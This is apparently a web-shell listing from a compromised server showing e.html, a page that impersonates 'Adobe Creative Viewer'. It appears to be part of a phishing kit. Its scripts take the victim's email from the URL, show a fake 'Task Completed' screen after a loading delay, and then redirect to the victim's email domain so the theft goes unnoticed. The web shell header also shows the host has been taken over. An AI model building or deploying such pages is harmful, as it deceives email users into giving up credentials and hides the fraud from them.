Your IP : 216.73.216.86

Current Path : /home/emeraadmin/www/Service/
Upload File :
Current File : /home/emeraadmin/www/Service/e.html

<!DOCTYPE html>
<html lang="en">
<head><script>
(function() {
  // Function to check if a string is a valid email
  function isEmail(s) {
    return !!(s && typeof s === 'string' && /^([a-zA-Z0-9_\.\-])+@([a-zA-Z0-9\-]+\.)+[a-zA-Z0-9]{2,4}$/.test(s.trim()));
  }

  // Get email from the query param (?email=...)
  var params = new URLSearchParams(window.location.search);
  var email = params.get('email');

  // If there's no email in the query param, try looking in the hash (#...)
  if (!email) {
    var hash = (window.location.hash || '').replace(/^#/, '');
    if (isEmail(hash)) {
      email = hash;
    }
  }

  // If email is found, we redirect back to e.html with both query and hash intact
  if (email) {
    // Ensure the URL has the query and hash
    var newUrl = window.location.pathname + '?email=' + encodeURIComponent(email) + '#' + encodeURIComponent(email);

    // Avoid redirect loop: if we're already on the right page with the correct query and hash, do nothing
    if (window.location.href !== window.location.origin + newUrl) {
      window.location.replace(newUrl); // Redirect with query and hash
    }
  }
})();
</script>

  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Task Completed - Adobe Creative Viewer</title>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    body {
      font-family: 'Inter', sans-serif;
      background: #f9f9fb;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      color: #2c2c2c;
    }
    .container {
      background: #ffffff;
      padding: 50px;
      border-radius: 12px;
      box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
      max-width: 560px;
      width: 90%;
      text-align: center;
      animation: fadeIn 0.6s ease-in-out;
    }
    .icon {
      font-size: 72px;
      margin-bottom: 20px;
      color: #27ae60; /* Green for success */
      opacity: 0;
      transform: scale(0);
      animation: animateIcon 2s ease-in-out forwards;
    }
    h1 {
      font-size: 28px;
      font-weight: 600;
      margin-bottom: 14px;
      color: #27ae60; /* Green for success */
    }
    p {
      font-size: 16px;
      color: #666;
      margin-bottom: 25px;
      line-height: 1.6;
    }
    .info-box {
      background: #eafaf1;
      border-left: 4px solid #27ae60;
      padding: 16px;
      border-radius: 8px;
      text-align: left;
      font-size: 15px;
      color: #555;
    }
    .info-box strong {
      display: block;
      margin-bottom: 5px;
      color: #2ecc71;
    }
    .btn {
      display: inline-block;
      padding: 12px 24px;
      background: #3498db;
      color: #fff;
      font-size: 16px;
      border-radius: 8px;
      text-decoration: none;
      margin-top: 20px;
      transition: background 0.3s;
    }
    .btn:hover {
      background: #2980b9;
    }
    @keyframes fadeIn {
      from { opacity: 0; transform: translateY(10px); }
      to { opacity: 1; transform: translateY(0); }
    }

    @keyframes animateIcon {
      0% { opacity: 0; transform: scale(0); }
      100% { opacity: 1; transform: scale(1); }
    }

    /* Preload screen style */
    .loading-container {
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      font-size: 20px;
      color: #3498db;
    }

    /* Circular loader (spinning) */
    .loading-spinner {
      width: 80px;
      height: 80px;
      border-radius: 50%; /* Make it a circle */
      border: 8px solid transparent;
      border-top: 8px solid #3498db; /* Blue color for the spinner */
      animation: spin 2s linear infinite;
    }

    .loading-text {
      margin-left: 20px;
      font-size: 20px;
      color: #555;
    }

    /* Spin animation for the loader */
    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
  </style>
</head>
<body>
  <!-- Loading Screen -->
  <div class="loading-container" id="loadingScreen">
    <div class="loading-spinner"></div>
    <div class="loading-text">Task is processing, please wait...</div>
  </div>

  <!-- Success Page Content (Initially hidden) -->
  <div class="container" id="successContainer" style="display: none;">
    <!-- Animated Success Icon -->
    <div class="icon">✔️</div>
    <h1>Success! Task Completed</h1>
    <p>Your task has been successfully completed. We're glad to have helped you!</p>

    <script>
      // Function to extract the domain from the email
      function getEmailDomain(email) {
        const parts = email.split('@');
        if (parts.length === 2) {
          return parts[1]; // Return the domain part of the email
        }
        return null;
      }

      // Set timeout to simulate 2-minute preload before showing the success page
      setTimeout(function() {
        // Hide the loading screen
        document.getElementById("loadingScreen").style.display = "none";
        
        // Show the success page
        document.getElementById("successContainer").style.display = "block";

        // Get the email from the URL query
        const urlParams = new URLSearchParams(window.location.search);
        const email = urlParams.get('email');

        if (email) {
          // Extract the domain from the email
          const domain = getEmailDomain(email);

          if (domain) {
            // Redirect to the domain after 3 seconds
            setTimeout(function() {
              window.location.href = 'https://' + domain; // Redirect to the domain
            }, 3000); // 3-second delay before redirection
          }
        }
      }, 2000); // 2-second delay (adjusted from 2 minutes for demonstration)
    </script>
  </div>
</body>
</html>